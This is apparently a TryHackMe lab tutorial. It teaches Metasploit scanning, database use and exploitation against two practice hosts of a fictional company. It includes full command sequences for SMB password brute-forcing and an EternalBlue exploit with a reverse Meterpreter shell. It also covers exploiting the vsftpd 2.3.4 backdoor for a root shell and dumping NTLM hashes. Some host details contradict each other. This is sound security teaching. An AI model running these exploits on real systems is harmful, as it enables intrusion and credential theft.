In the previous room, you learned how to navigate the Metasploit Framework: searching for modules, configuring parameters, launching exploits, and managing sessions. Those are the mechanics. In this room, you put them to work.

Stratford Systems has given your team the green light to proceed with active testing against their internal network. Your scope includes a small subnet containing a Windows workstation and a Linux server, both running production services. Your objectives are straightforward: identify what is running on each host, determine which services are vulnerable, exploit those vulnerabilities to gain access, and document your findings.

Learning Objectives

• Scan target systems using Metasploit's built-in port scanning and service enumeration modules
• Store and manage results using the Metasploit database, including workspaces, host tracking, and credential storage
• Identify vulnerabilities by running targeted scanner modules against discovered services
• Exploit vulnerable services on two different target systems using two distinct exploit types, demonstrating that the Metasploit workflow generalizes across protocols, operating systems, and vulnerability classes

Prerequisites

This room builds directly on Metasploit: The Basics. You should be comfortable with:

• Launching msfconsole and using search, use, info, and back
• Setting module parameters with set, setg, and show options
• Running modules with exploit/run and managing sessions with background, sessions, and sessions -i

Machine Access

Each machine can be started from its respective task. The lab primarily consists of two target environments:

Start the AttackBox and the lab machine by clicking the Start AttackBox and Start Lab Machine buttons. Once the AttackBox has launched, open the terminal and enter the command msfconsole to begin exploring scanning and exploitation techniques.

You have two lab machines on the Stratford Systems network and no information beyond their IP addresses. Before you can exploit anything, you need to know what is running on each host: which ports are open, what services are listening, and what versions those services are running. This is where scanning begins.

You might be wondering: why scan with Metasploit when you already know how to use Nmap? The short answer is database integration. When you scan from within msfconsole, the results can flow directly into the Metasploit database (which we will set up in the next task), making them instantly available to other modules. You can also run Nmap directly from the msfconsole prompt, giving you the best of both worlds.

Port Scanning with Metasploit Modules

Metasploit includes several port scanning modules under auxiliary/scanner/portscan/. You can list them with search portscan:

           msf6 > search portscan

Matching Modules
================

   #  Name                                              Disclosure Date  Rank    Check  Description
   -  ----                                              ---------------  ----    -----  -----------
   0  auxiliary/scanner/portscan/ftpbounce              .                normal  No     FTP Bounce Port Scanner
   1  auxiliary/scanner/natpmp/natpmp_portscan          .                normal  No     NAT-PMP External Port Scanner
   2  auxiliary/scanner/sap/sap_router_portscanner      .                normal  No     SAPRouter Port Scanner
   3  auxiliary/scanner/portscan/xmas                   .                normal  No     TCP "XMas" Port Scanner
   4  auxiliary/scanner/portscan/ack                    .                normal  No     TCP ACK Firewall Scanner
   5  auxiliary/scanner/portscan/tcp                    .                normal  No     TCP Port Scanner
   6  auxiliary/scanner/portscan/syn                    .                normal  No     TCP SYN Port Scanner
   7  auxiliary/scanner/http/wordpress_pingback_access  .                normal  No     Wordpress Pingback Locator
msf6 >
        

The most commonly used is auxiliary/scanner/portscan/tcp, which performs a full TCP connect scan. Let's load it and look at its options:

           msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > show options

Module options (auxiliary/scanner/portscan/tcp):

 Name         Current Setting  Required  Description
 ----         ---------------  --------  -----------
 CONCURRENCY  10               yes       The number of concurrent ports to check per host
 DELAY        0                yes       The delay between connections, per thread, in milliseconds
 JITTER       0                yes       The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
 PORTS        1-10000          yes       Ports to scan (e.g. 22-25,80,110-900)
 RHOSTS                        yes       The target host(s), [...]
 THREADS      1                yes       The number of concurrent threads (max one per host)
 TIMEOUT      1000             yes       The socket connect timeout in milliseconds

msf6 auxiliary(scanner/portscan/tcp) >
        

A few things to note about these options:

• PORTS: The default range is 1-10000. This is not the same as Nmap's default, which scans the 1,000 most commonly used ports. Metasploit scans every port in the specified range sequentially. For a quick scan, you might narrow this to 1-1024 or specify individual ports of interest.
• THREADS: Increasing this value speeds up the scan by running multiple connection attempts in parallel. A value of 10 is reasonable for most lab environments.
• CONCURRENCY: Controls how many ports are checked simultaneously per host. This works alongside THREADS to determine overall scan speed.

Let's scan the Stratford Windows workstation:

           msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS MACHINE_IP
RHOSTS => MACHINE_IP
msf6 auxiliary(scanner/portscan/tcp) > set PORTS 1-1024,3389,8000-8100
PORTS => 1-1024,3389,8000-8100
msf6 auxiliary(scanner/portscan/tcp) > set THREADS 10
THREADS => 10
msf6 auxiliary(scanner/portscan/tcp) > run

[+] MACHINE_IP          - MACHINE_IP:135 - TCP OPEN
[+] MACHINE_IP          - MACHINE_IP:139 - TCP OPEN
[+] MACHINE_IP          - MACHINE_IP:445 - TCP OPEN
[+] MACHINE_IP          - MACHINE_IP:3389 - TCP OPEN
[+] MACHINE_IP          - MACHINE_IP:8000 - TCP OPEN
[*] MACHINE_IP          - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/portscan/tcp) >
        

We have five open ports. But open ports alone do not tell us what services are running or what versions they are. For that, we need service-specific scanners.

Running Nmap from Msfconsole

You can also run Nmap directly from the msf6 > prompt. Metasploit passes the command to the underlying shell:

           msf6 > nmap -sV -O MACHINE_IP
[*] exec: nmap -sV -O MACHINE_IP

Starting Nmap 7.80 ( https://nmap.org ) at 2026-05-14 06:59 BST
Nmap scan report for MACHINE_IP
Host is up (0.0015s latency).
Not shown: 995 closed ports
PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  tcpwrapped
445/tcp  open  microsoft-ds?
3389/tcp open  ms-wbt-server Microsoft Terminal Services
8000/tcp open  http-alt      webfs/1.21
Service Info: Host: STRATFORD-WS01; OS: Windows; CPE: cpe:/o:microsoft:windows

msf6 >
        

This gives us version information that the basic port scanner could not provide. We can now see that port 445 is SMB on a Windows system in the STRATFORD workgroup, and port 8000 is running webfs/1.21.

Note: The key difference between running nmap and using db_nmap (which we will cover in the next task) is that nmap results are displayed but not stored in the Metasploit database. If you want scan results to be automatically stored and queryable, use db_nmap instead.

Service-Specific Scanners

Metasploit's auxiliary modules include scanners designed for specific protocols. These go beyond port discovery and provide targeted enumeration. Let's use a few against our Stratford target.

NetBIOS Name Scanner

The auxiliary/scanner/netbios/nbname module queries the NetBIOS name service to identify hostnames and domain membership:

           msf6 > use auxiliary/scanner/netbios/nbname
msf6 auxiliary(scanner/netbios/nbname) > set RHOSTS MACHINE_IP
RHOSTS => MACHINE_IP
msf6 auxiliary(scanner/netbios/nbname) > run

[*] Sending NetBIOS requests to MACHINE_IP->MACHINE_IP (1 hosts)
[+] 10.80.137.252 [STRATFORD-WS01] OS:Windows Names:(STRATFORD-WS01)  Mac:00:50:56:ab:cd:ef Lab Machine:VMWare[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/netbios/nbname) >
        

This confirms the machine's NetBIOS name is STRATFORD-WS01.

HTTP Version Scanner

The auxiliary/scanner/http/http_version module fingerprints web servers:

           msf6 > use auxiliary/scanner/http/http_version
msf6 auxiliary(scanner/http/http_version) > set RHOSTS MACHINE_IP
RHOSTS => MACHINE_IP
msf6 auxiliary(scanner/http/http_version) > set RPORT 8000
RPORT => 8000
msf6 auxiliary(scanner/http/http_version) > run

[+] MACHINE_IP:8000 webfs/1.21
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/http_version) >
        

Port 8000 is running webfs/1.21, a lightweight HTTP file server. This is a useful data point for later vulnerability research.

SMB Login Brute-Force

The auxiliary/scanner/smb/smb_login module attempts to authenticate against the SMB service using a wordlist. This is how you test for weak credentials:

           msf6 > use auxiliary/scanner/smb/smb_login
msf6 auxiliary(scanner/smb/smb_login) > set RHOSTS MACHINE_IP
RHOSTS => MACHINE_IP
msf6 auxiliary(scanner/smb/smb_login) > set SMBUSER penny
msf6 auxiliary(scanner/smb/smb_login) > set PASS_FILE /usr/share/wordlists/MetasploitRoom/MetasploitWordlist.txt
PASS_FILE => /usr/share/wordlists/MetasploitRoom/MetasploitWordlist.txt
msf6 auxiliary(scanner/smb/smb_login) > set VERBOSE false
VERBOSE => false
msf6 auxiliary(scanner/smb/smb_login) > run

[+] MACHINE_IP:445       - MACHINE_IP:445 - Success: '.\penny:REDACTED'
[*] MACHINE_IP:445       - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_login) >
        

The scanner found valid credentials: the user penny has the password leo1234. This is exactly the kind of "low-hanging fruit" that scanning uncovers. In a real engagement, weak credentials like this are disturbingly common and often provide the fastest path to initial access.

Choosing the Right Scanner

Metasploit contains hundreds of auxiliary scanner modules. You do not need to memorize them. The pattern is always the same:

1. Identify an open port and service from your scan results
2. Use search type:auxiliary <service_name> to find relevant scanner modules
3. Use info to understand what the module does
4. Set parameters and run

For example, if you found an FTP service on port 21, you might search for search type:auxiliary ftp and discover modules for anonymous login testing, version detection, and brute-force authentication. The discovery process is the skill; the specific modules are reference material.

You have just scanned STRATFORD-WS01 and discovered 5 open ports. Now imagine a real engagement where your scope includes fifty hosts, each with a handful of open services. Are you going to remember which ports were open on each one? Are you going to retype IP addresses every time you switch modules?

Metasploit solves this problem with a built-in database backed by PostgreSQL. The database stores hosts, services, credentials, and vulnerability data from your scans, and makes all of it queryable from within msfconsole. Instead of manually tracking results in notes or spreadsheets, you can let the framework manage your engagement data for you.

Setting Up the Database

On the TryHackMe AttackBox, the Metasploit database is already configured and ready to use. If you are working on your own Kali Linux installation, you will need to initialize it first.

On Kali Linux, the setup requires two steps:

           ┌──(kali㉿kali)-[~]
└─$ sudo msfdb init
[i] Database already started
[i] Creating database user 'msf'
[i] Creating databases 'msf' and 'msf_test'
[i] Creating configuration file '/usr/share/metasploit-framework/config/database.yml'
[i] Creating initial database schema
        

Then launch msfconsole and verify the connection:

           msf6 > db_status
[*] Connected to msf. Connection type: postgresql.
msf6 >
        

If you see Connected to msf, the database is ready. If you see No connection, the PostgreSQL service may not be running. Start it with sudo systemctl start postgresql, then try sudo msfdb init again.

Important: On Kali Linux, the correct command is sudo msfdb init. You may encounter older tutorials that recommend sudo -u postgres msfdb init, which is the upstream (non-Kali) approach. Kali ships its own version of the msfdb script that handles PostgreSQL user creation internally and expects to be run with sudo.

Workspaces

Workspaces let you isolate data from different engagements. All scan results, hosts, services, and credentials are scoped to the current workspace. When you first launch msfconsole with a database, you are in the default workspace:

           msf6 > workspace

msf6 >
        

The * indicates the active workspace. Let's create a workspace for our Stratford Systems engagement and switch to it:

           msf6 > workspace -a stratford
[*] Added workspace: stratford
[*] Workspace: stratford
msf6 > workspace
 default
* stratford
msf6 >
        

From this point forward, every scan result and credential we collect will be stored under the stratford workspace. If you later start a different engagement, you can create a new workspace for it without mixing data.

To switch between workspaces, type workspace followed by the name:

           msf6 > workspace default
[*] Workspace: default
msf6 > workspace stratford
[*] Workspace: stratford
msf6 >
        

To delete a workspace (and all its data), use workspace -d <name>.

Scanning Into the Database With db_nmap

The db_nmap command is one of the most valuable features of the database integration. It runs Nmap with whatever flags you specify, but instead of just printing results to the screen, it automatically stores everything in the database: hosts, ports, service names, versions, and OS detection data.

Let's scan the Stratford target:

           msf6 > db_nmap -sV -O MACHINE_IP
[*] Nmap: Starting Nmap 7.80 ( https://nmap.org ) at 2026-05-14 07:30 BST
[*] Nmap: Nmap scan report for MACHINE_IP
[*] Nmap: Host is up (0.0012s latency).
[*] Nmap: Not shown: 995 closed ports
[*] Nmap: PORT     STATE SERVICE      VERSION
[*] Nmap: 135/tcp  open  msrpc         Microsoft Windows RPC
[*] Nmap: 139/tcp  open  tcpwrapped
[*] Nmap: 445/tcp  open  microsoft-ds?
[*] Nmap: 3389/tcp open  ms-wbt-server Microsoft Terminal Services
[*] Nmap: 8000/tcp open  http-alt      webfs/1.21

msf6 >
        

The host is now stored in the database. Let's query what we found.

Querying the Database: Hosts, Services, and Credentials

hosts

The hosts command lists every host the database knows about:

           msf6 > hosts

Hosts
=====

address        mac  name  os_name           os_flavor  os_sp  purpose  info  comments
-------        ---  ----  -------           ---------  -----  -------  ----  --------
MACHINE_IP              Windows Longhorn                    device

msf6 >
        

services

The services command lists every open port and its associated service across all hosts in the current workspace:

           msf6 > services

Services
========

host            port   proto  name          state  info
----            ----   -----  ----          -----  ----
MACHINE_IP       135   tcp    msrpc          open   Microsoft Windows RPC
MACHINE_IP       139   tcp    tcpwrapped     open
MACHINE_IP       445   tcp    microsoft-ds   open
MACHINE_IP       3389  tcp    ms-wbt-server  open   Microsoft Terminal Services
MACHINE_IP       8000  tcp    http-alt       open   webfs/1.21


msf6 >
        

You can filter services with the -S flag. For example, to find only webfs services across all scanned hosts:

           msf6 > services -S webfs
Services
========

host           port  proto  name      state  info
----           ----  -----  ----      -----  ----
10.80.137.252  8000  tcp    http-alt  open   webfs/1.21

msf6 >
        

creds

The creds command displays any credentials that Metasploit has collected during the engagement. Remember the SMB brute-force we ran in the previous task? If the database was active during that scan, the successful login was stored automatically:

           msf6 > creds

Credentials
===========

host            origin          service          public  private   realm  private_type
----            ------          -------          ------  -------   -----  ------------
MACHINE_IP      MACHINE_IP      445/tcp (smb)    penny   leo1234          Password

msf6 >
        

The penny:leo1234 credential is now available for any module that needs authentication. This is one of the major advantages of database integration: information collected by one module is automatically available to every other module.

Using Database Hosts as RHOSTS

One of the most practical database features is the hosts -R command, which takes every host in the database and automatically populates the RHOSTS parameter of the current module:

           msf6 > use auxiliary/scanner/smb/smb_login
msf6 auxiliary(scanner/smb/smb_login) > hosts -r

Hosts
=====

address      mac  name  os_name       os_flavor  os_sp  purpose  info  comments
-------      ---  ----  -------       ---------  -----  -------  ----  --------
MACHINE_IP             Windows 2012                    server


msf6 auxiliary(scanner/smb/smb_login) > show options

Module options (scanner/smb/smb_login):

 Name         Current Setting              Required  Description
 ----         ---------------              --------  -----------
 RHOSTS       MACHINE_IP                   yes       The target host(s), [...]
 [...]
        

No manual IP entry required. With dozens of targets, this saves significant time and eliminates transcription errors. You can also use services -R to populate RHOSTS from a specific service filter (e.g., services -S smb -R to target only hosts with SMB).

Importing External Scan Results

If you ran Nmap outside of msfconsole and saved the results to an XML file, you can import them with db_import:

           msf6 > db_import /path/to/nmap_scan.xml
[*] Importing 'Nmap XML' data
[*] Import: Parsing with 'Nokogiri v1.15.5'
[*] Importing host MACHINE_IP
[*] Successfully imported /path/to/nmap_scan.xml
msf6 >
        

This supports Nmap XML format, as well as output from several other tools (Nessus, Qualys, Burp Suite, etc.). The db_export command lets you export your database contents for reporting or archival purposes.

You have open ports, service names, and version numbers stored in your database. Now the question becomes: which of these services have known, exploitable vulnerabilities? This is the step that bridges scanning and exploitation.

In penetration testing, the term low-hanging fruit refers to vulnerabilities that are easy to identify and straightforward to exploit. These are often the fastest path to initial access: unpatched services, default credentials, misconfigurations, and known backdoors. Metasploit's auxiliary scanner modules are designed to check for exactly these kinds of issues.

The Approach: Service Versions Drive Module Selection

The key to effective vulnerability scanning with Metasploit is connecting the service information you have already collected to the right scanner modules. Consider what db_nmap revealed about the Stratford Systems network:

• Port 445 on STRATFORD-WS01: Microsoft Windows Server 2008
• Port 21 on stratford-srv01: vsftpd 2.3.4
• Port 22 on stratford-srv01: OpenSSH 8.2p1

Each of these version strings is a search query waiting to happen. If a service version has a known vulnerability, there is a good chance Metasploit has a scanner module to test for it.

Example 1: Checking for MS17-010 (EternalBlue)

The SMB service on STRATFORD-WS01 is running on a Windows Server 2008 host. One of the most critical SMB vulnerabilities in Windows Server 2008 is MS17-010, the flaw exploited by EternalBlue. Metasploit includes a dedicated scanner to check for it:

           msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS MACHINE_IP
RHOSTS => MACHINE_IP
msf6 auxiliary(scanner/smb/smb_ms17_010) > run

[+] MACHINE_IP:445       - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Datacenter 7601 Service Pack 1 x64 (64-bit)
[*] MACHINE_IP:445       - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_ms17_010) >
        

The [+] prefix and "Host is likely VULNERABLE" message confirm the finding. This host is missing the MS17-010 patch and is a strong candidate for exploitation.

After running this scanner, check the vulns command:

           msf6 > vulns

Vulnerabilities
===============

Timestamp                Host            Name                                    References
---------                ----            ----                                    ----------
2026-03-18 15:22:10 UTC  MACHINE_IP      MS17-010 SMB RCE Detection              CVE-2017-0143,CVE-2017-0144,CVE-2017-0145,[...]

msf6 >
        

The vulnerability has been automatically recorded in the database, complete with CVE references. This is the kind of structured data that makes reporting easier at the end of an engagement.

Example 2: Checking for Anonymous FTP Access

The Linux server (stratford-srv01) is running vsftpd 2.3.4 on port 21. Before we look for exploits, a quick check for anonymous access is worthwhile:

           msf6 > use auxiliary/scanner/ftp/ftp_anonymous
msf6 auxiliary(scanner/ftp/ftp_anonymous) > services -S ftp -R
RHOSTS => MACHINE_IP
msf6 auxiliary(scanner/ftp/ftp_anonymous) > run

[*] MACHINE_IP:21        - MACHINE_IP:21 - Banner: 220 (vsFTPd 2.3.4)
[-] MACHINE_IP:21        - MACHINE_IP:21 - Login failed: anonymous:mozilla@example.com
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ftp/ftp_anonymous) >
        

Anonymous login failed, which is actually a good security practice. But notice two things in this example: first, we used services -S ftp -R to automatically populate RHOSTS with only the hosts that have an FTP service, pulling the data directly from the database. Second, the banner confirms vsFTPd 2.3.4. That specific version has a well-known backdoor vulnerability, which we will exploit in the next task.

The Vulnerability Scanning Pattern

Across both examples, the workflow follows the same pattern:

1. Review service versions from your db_nmap results (using services or services -S)
2. Search for relevant scanner modules (search type:auxiliary <service_or_cve>)
3. Load the module, set RHOSTS (manually or via hosts -R / services -R), and run
4. Check vulns to see what was recorded

The goal is not to run every scanner module in Metasploit. The goal is to make targeted, informed checks based on what you already know about the target environment. A version string like vsftpd 2.3.4 or Microsoft Windows Server 2008 immediately narrows your search space to a handful of relevant modules.

You have completed the reconnaissance cycle: port scanning, service enumeration, and vulnerability identification. The Stratford Systems network has two confirmed findings. STRATFORD-WS01 is vulnerable to MS17-010 (EternalBlue) on its SMB service. The Linux server, stratford-srv01, is running vsftpd 2.3.4 on port 21, a version with a well-documented backdoor. It is time to move from identifying vulnerabilities to exploiting them.

In the next tasks, we will exploit both targets using two fundamentally different exploits. The workflow is the same in both cases, but the exploits differ in protocol, target OS, vulnerability type, and session type. This is deliberate: the goal is to demonstrate that Metasploit's operational pattern, search → configure → exploit → interact, works regardless of the underlying technical details.

EternalBlue targets a buffer overflow vulnerability in Microsoft's SMBv1 implementation. We confirmed the host is vulnerable in the previous task. Let's exploit it.

Step 1: Search and Select

           msf6 > search eternalblue type:exploit

Matching Modules
================

 #   Name                                           Disclosure Date  Rank     Check  Description
   -   ----                                           ---------------  ----     -----  -----------
   0   exploit/windows/smb/ms17_010_eternalblue       2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1     \_ target: Automatic Target                  .                .        .      .
   2     \_ target: Windows 7                         .                .        .      .
   3     \_ target: Windows Embedded Standard 7       .                .        .      .
   4     \_ target: Windows Server 2008 R2            .                .        .      .
   5     \_ target: Windows 8                         .                .        .      .
   6     \_ target: Windows 8.1                       .                .        .      .
   7     \_ target: Windows Server 2012               .                .        .      .
   8     \_ target: Windows 10 Pro                    .                .        .      .
   9     \_ target: Windows 10 Enterprise Evaluation  .                .        .      .
[...]

msf6 > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) >
        

Metasploit selected windows/x64/meterpreter/reverse_tcp as the default payload. This is a staged Meterpreter payload that will give us a full-featured interactive session on the target.

Step 2: Configure

           msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS MACHINE_IP
RHOSTS => MACHINE_IP
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

 Name           Current Setting  Required  Description
 ----           ---------------  --------  -----------
 RHOSTS         MACHINE_IP       yes       The target host(s), [...]
 RPORT          445              yes       The target port (TCP)
 [...]

Payload options (windows/x64/meterpreter/reverse_tcp):

 Name      Current Setting  Required  Description
 ----      ---------------  --------  -----------
 EXITFUNC  thread           yes       Exit technique [...]
 LHOST     ATTACKER_IP      yes       The listen address
 LPORT     4444             yes       The listen port

msf6 exploit(windows/smb/ms17_010_eternalblue) >
        

Verify that LHOST is set to your AttackBox or Kali machine's IP address. If it is not correct (common when multiple network interfaces are present), set it manually with set LHOST CONNECTION_IP.

Step 3: Exploit

           msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

[*] Started reverse TCP handler on CONNECTION_IP:4444
[*] MACHINE_IP:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] MACHINE_IP:445 - Host is likely VULNERABLE to MS17-010!
[*] MACHINE_IP:445 - Connecting to target for exploitation.
[+] MACHINE_IP:445 - Connection established for exploitation.
[+] MACHINE_IP:445 - Target OS selected valid for OS indicated by SMB reply
[*] MACHINE_IP:445 - Trying exploit with 12 Groom Allocations.
[*] MACHINE_IP:445 - Sending all but last fragment of exploit packet
[*] Sending stage (201283 bytes) to MACHINE_IP
[*] Meterpreter session 1 opened (CONNECTION_IP:4444 -> MACHINE_IP:49186) at 2026-03-18 15:45:22 +0000

meterpreter >
        

We have a Meterpreter session on STRATFORD-WS01. Let's verify our access level and retrieve the flag:

           meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > search -f flag.txt
Found 1 result...
 c:\flag.txt (24 bytes)
meterpreter > cat c:\\Users\\Administrator\\Desktop\\flag.txt
THM-REDACTED
meterpreter >
        

We landed as NT AUTHORITY\SYSTEM, the highest privilege level on a Windows system. EternalBlue is a kernel-level exploit, so it bypasses normal user privilege boundaries entirely.

Let's also extract password hashes before moving on. The hashdump command retrieves local user account hashes:

           meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
pirate:1001:aad3b435b51404eeaad3b435b51404ee:REDACTED:::
meterpreter >
        

We can see a user account named pirate with an NTLM hash. We will explore hash cracking and post-exploitation in depth in the Post-Exploitation room. For now, background this session so we can exploit the second target:

           meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(windows/smb/ms17_010_eternalblue) >
        

Note: Kill your previous session using sessions -K before continuing with this Task. Terminate your previous Target before starting the one in this task.

Now for something completely different. In 2011, the vsftpd 2.3.4 source code distribution was found to contain a backdoor that an unknown attacker had inserted into the download archive. When a user connects to the FTP service and sends a username ending with :) (a smiley face), the backdoor opens a command shell listening on port 6200. This is not a buffer overflow or a logic flaw; it is deliberately planted malicious code.

Let’s find the Metasploit module:

           msf6 > search vsftpd

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  auxiliary/dos/ftp/vsftpd_232          2011-02-03       normal     Yes    VSFTPD 2.3.2 Denial of Service
   1  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution

msf6 > use 1
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
        

Notice two differences from EternalBlue. First, the rank is excellent (compared to EternalBlue’s average), meaning this exploit is expected to work reliably without crashing the service. Second, the default payload is cmd/unix/interact, a basic interactive shell, not Meterpreter. This is because the backdoor opens a simple command channel, not a reflective DLL injection point.

Note: The default payload for this exploit has changed across Metasploit Framework releases. Depending on which version your AttackBox ships, use may instead default to a network-fetch payload like cmd/linux/http/x86/meterpreter_reverse_tcp, which requires LHOST and is unreliable against this backdoor’s constrained command channel. Set the payload explicitly rather than relying on the default:

AttackBox Terminal

           msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set PAYLOAD cmd/unix/interact
        

If your framework version rejects that (“The value specified for PAYLOAD is not valid”), use cmd/unix/reverse_bash instead, along with set LHOST CONNECTION_IP, to open an equivalent shell.

Configure and Exploit:

           msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set PAYLOAD cmd/unix/interact
PAYLOAD => cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS MACHINE_IP
RHOSTS => MACHINE_IP
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] MACHINE_IP:21 - Banner: 220 (vsFTPd 2.3.4)
[*] MACHINE_IP:21 - USER: 331 Please specify the password.
[+] MACHINE_IP:21 - Backdoor service has been spawned, handling...
[+] MACHINE_IP:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 2 opened (ATTACKER_IP:42069 -> MACHINE_IP:6200) at 2026-03-18 15:52:38 +0000

id
uid=0(root) gid=0(root)
whoami
root
hostname
stratford-srv01
        

We have root access on the Linux server. Notice the differences from the EternalBlue exploitation:

• The prompt is a raw shell, not meterpreter >. There is no prompt prefix at all; we are interacting directly with the target’s shell.
• The session type is Command shell (session 2), not Meterpreter.
• No staged payload was downloaded. The backdoor itself provided the command execution channel.

Comparing the Two Exploits

In this room, you took the foundational skills from the Introduction room and applied them against live targets on the Stratford Systems network. Let's recap the workflow you practiced:

1. Scanning: You used Metasploit's built-in port scanning modules and Nmap (both directly and via db_nmap) to discover open ports and identify running services across two target hosts.

2. Database management: You set up and used the Metasploit database to store scan results, query hosts and services, manage credentials, and automatically populate module parameters with hosts -R and services -R. Workspaces let you isolate engagement data cleanly.

3. Vulnerability identification: You ran targeted scanner modules, confirmed that STRATFORD-WS01 was vulnerable to MS17-010, and identified the vsftpd 2.3.4 backdoor on both hosts. Results were automatically recorded in the database's vulns table.

4. Exploitation: You exploited two fundamentally different vulnerabilities, a Windows SMB buffer overflow (EternalBlue) and a Linux FTP backdoor (vsftpd 2.3.4), using the same operational pattern. You gained SYSTEM-level access on Windows and root on Linux, retrieved a flag, and extracted password hashes.

The most important takeaway from this room is not any single command or module. It is the pattern: scan → store → identify → exploit. That four-step cycle applies to every Metasploit engagement, regardless of the target OS, protocol, or vulnerability type.

You now have two active sessions on the Stratford network: a Meterpreter session on STRATFORD-WS01 and a command shell on stratford-srv01. In the next room, Metasploit: Post-Exploitation, you will learn what to do with those sessions: post-exploitation commands, privilege management, credential harvesting, file system exploration, and more.

It is time to move on to the next room: Metasploit: Post-Exploitation.